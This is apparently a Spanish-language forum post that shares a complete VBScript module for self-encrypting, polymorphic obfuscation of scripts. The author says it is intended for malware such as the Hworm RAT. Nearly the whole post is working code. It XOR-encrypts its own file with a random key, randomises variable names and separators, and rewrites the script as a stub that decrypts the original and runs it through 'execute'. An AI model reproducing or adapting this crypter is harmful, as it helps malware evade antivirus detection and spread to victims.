A continuacion les presento un fragmento de codigo que puede ser usado en distrubuciones de malware como Hworm o cualquier aplicacion tipo VBS para añadir una capa de seguridad. Es un modulo que se ejecuta en dos lineas y tiene una sola funcion a llamar. Se debe declarar una variable de objeto para su uso. Al ejecutar el modulo el Script abre su propio archivo y lo trata como un texto plano con una password aleatorio en usando la compuerta XOR. Una vez alli toma el ciphertext escribiendolo en una variable string, y se añade una funcion con dos argumentos, el ciphertext y la Key cuya funcion es devolver el texto plano, dicho texto plano es el codigo string protegido y lo ejecuta usando la funcion "execute" que permite este proceso. Aqui comparto el modulo.
Código
Class Polimorfic_VBScripts_Motors 'Set obj1 = New Polimorfic_VBScripts_Motors 'obj1.Polimorfic_VBS_XORSPLIT Dim lenalfavar, lenalfaspl Dim alfabet_var, alfabet_split Dim FileSystemObject Dim LABEL_TYPE_ENCRYPTER_XORSPLIT Dim LABEL_TYPE_ENCRYPTER_sutwo '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Private Sub Class_Initialize() ' ' Genera el objecto del sistema de manejo de ficheros, ' alfabet_var = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" alfabet_split = "/\?#$@|°¬" lenalfavar = len(alfabet_var)-1 lenalfaspl = len(alfabet_split)-1 set FileSystemObject = createobject("scripting.filesystemobject") LABEL_TYPE_ENCRYPTER_XORSPLIT = "'=-=-=-=-=-=-||_!Kr4k3n_i5_1if3i!_||-=-=-=-=-=-=-=-=" LABEL_TYPE_ENCRYPTER_sutwo = "'=-=-=-=-=-=-||_!Bad4m_cod3!_||-=-=-=-=-=-=-=-=" end sub '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Public sub Polimorfic_VBS_XORSPLIT() 'Genera el proceso de Polimorfismo, cifrando y descifrandose a si mismo EncrypterVBS_code = FileSystemObject.opentextfile(wscript.scriptfullname,1).readall if instr(split(EncrypterVBS_code,vbcrlf)(0),"execute") <> 0 then Code_VBS = Decode_VBS_XORSPLIT(EncrypterVBS_code) if split(Code_VBS,vbcrlf)(0) = LABEL_TYPE_ENCRYPTER_XORSPLIT then FileSystemObject.createtextfile(wscript.scriptname).write Encode_VBS_XORSPLIT(Code_VBS) end if else EncrypterVBS_code = LABEL_TYPE_ENCRYPTER_XORSPLIT & vbcrlf & EncrypterVBS_code FileSystemObject.createtextfile(wscript.scriptname).write Encode_VBS_XORSPLIT(EncrypterVBS_code) end if end sub '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Public Function Decode_VBS_XORSPLIT(code) dim String_One_Line_Code_VBS, var_temp_split String_One_Line_Code_VBS = split(split(code,vbcrlf)(0),"(")'Extrae la primera linea del codigo String_One_Line_Code_VBS(2) = KickString(String_One_Line_Code_VBS(2),String_One_Line_Code_VBS(1)) String_One_Line_Code_VBS(2) = KickString(String_One_Line_Code_VBS(2),"),") 'En String_One_Line_Code_VBS(2) esta el codigo cifrado, en String_One_Line_Code_VBS(3) esta el password var_temp_split = split(String_One_Line_Code_VBS(2),",") spliit = KickString(var_temp_split(1),chr(34)) cifrado = KickString(var_temp_split(0),chr(34)) password = KickString(split(String_One_Line_Code_VBS(3),",")(0),chr(34)) 'Extrae las cadenas y elimina comillas Decode_VBS_XORSPLIT = encode_xor(Str_split_decode(cifrado,spliit),Str_split_decode(password,spliit))' Descifra el VBScript end function '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Public Function Encode_VBS_XORSPLIT(VBScode) randomize modcode = "execute %0(%7(%1,%12),%7(%2,%12))" & vbcrlf modcode = modcode & "Function %0(%3,%4)" & vbcrlf modcode = modcode & "For %5 = 1 to len(%3)" & vbcrlf modcode = modcode & "%6 = %6 + 1" & vbcrlf modcode = modcode & "%0 = %0 & chr((asc(mid(%3,%5,1)))xor(asc(mid(%4,%6,1))))" & vbcrlf modcode = modcode & "if %6 = len(%4) then %6 = 0" & vbcrlf modcode = modcode & "next" & vbcrlf modcode = modcode & "end function" & vbcrlf modcode = modcode & "function %7(%8,%9)" & vbcrlf modcode = modcode & "%10 = split(%8,%9)" & vbcrlf modcode = modcode & "for %11 = LBound(%10) to Ubound(%10)" & vbcrlf modcode = modcode & "%7 = %7 & chr(%10(%11))" & vbcrlf modcode = modcode & "next" & vbcrlf modcode = modcode & "end function" var_split = Ramdon_var_spliter() password = random_String(16) cifrado = encode_xor(VBScode,password) for inx = 3 to 11 'Genera variable aleatorias en el codigo modcode = replace(modcode,"%" & inx,ramdon_vars(10)) next modcode = replace(modcode,"%0",ramdon_vars(10)) modcode = replace(modcode,"%12",AddComillas(var_Split)) modcode = replace(modcode,"%1",AddComillas(Str_split_encode(cifrado,var_split))) modcode = replace(modcode,"%2",AddComillas(Str_split_encode(password,var_Split))) Encode_VBS_XORSPLIT = modcode end function '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Private Function Ramdon_var_spliter()'extrae el caracter random randomize Random_number = rnd*lenalfaspl if Random_number < 1 then Random_number = 1 Ramdon_var_spliter = mid(alfabet_split,Random_number,1) end function '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Private Function ramdon_vars(lenvar) 'Genera un String con caracteres aleatorios del String alfabet_var de tamaño lenvar randomize For inx = 1 to lenvar Random_number = Fix(rnd * lenalfavar) if Random_number < 1 then Random_number = 1 ramdon_vars = ramdon_vars & mid(alfabet_var,Random_number,1) next end function '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Private Function random_String(lenvar) 'Devuelve un String aleatoria de caracteres ASCII de tamaña lenvar randomize For inx = 1 to lenvar random_String = random_String & chr(Fix(rnd*255)) next end function '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Private Function encode_xor(string_cliptext,password_spliter) 'Funcion de cifrado y descifrado con Or-Exclusiva (Xor) lenstr=len(string_cliptext):lenpa=len(password_spliter) For inx_String_cliptext = 1 to lenstr count_password_spliter = count_password_spliter + 1 chr_cliptxt = Asc(mid(string_cliptext , inx_String_cliptext , 1)) chr_pwr = Asc(mid(password_spliter,count_password_spliter,1)) encode_xor = encode_xor & chr(chr_cliptxt Xor chr_pwr) if count_password_spliter => lenpa then count_password_spliter = 0 next end function '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Private function Str_split_decode(String_encode,password_spliter) 'Decodifica el cifrado split array_Str_Encode = split(String_encode,password_spliter) for inx = LBound(array_Str_Encode) to Ubound(array_Str_Encode) Str_split_decode = Str_split_decode & chr(array_Str_Encode(inx)) next end function '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Private Function Str_split_encode(string_Cliptext,password_spliter) 'Codfifica con cifrado split Len_string_Cliptext = len(string_Cliptext) for inx = 1 to (Len_string_Cliptext-1) Str_split_encode = Str_split_encode & Cstr(Asc(mid(string_Cliptext,inx,1))) & password_spliter next Str_split_encode = Str_split_encode & Cstr(Asc(mid(string_Cliptext,Len_string_Cliptext,1))) end function '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Private Function KickString(str1,str2):KickString = replace(str1,str2,""):End function Private Function AddComillas(strr):AddComillas=chr(34)&strr&chr(34):end function End Class
Me disculpo por la calidad de redaccion del presente articulo.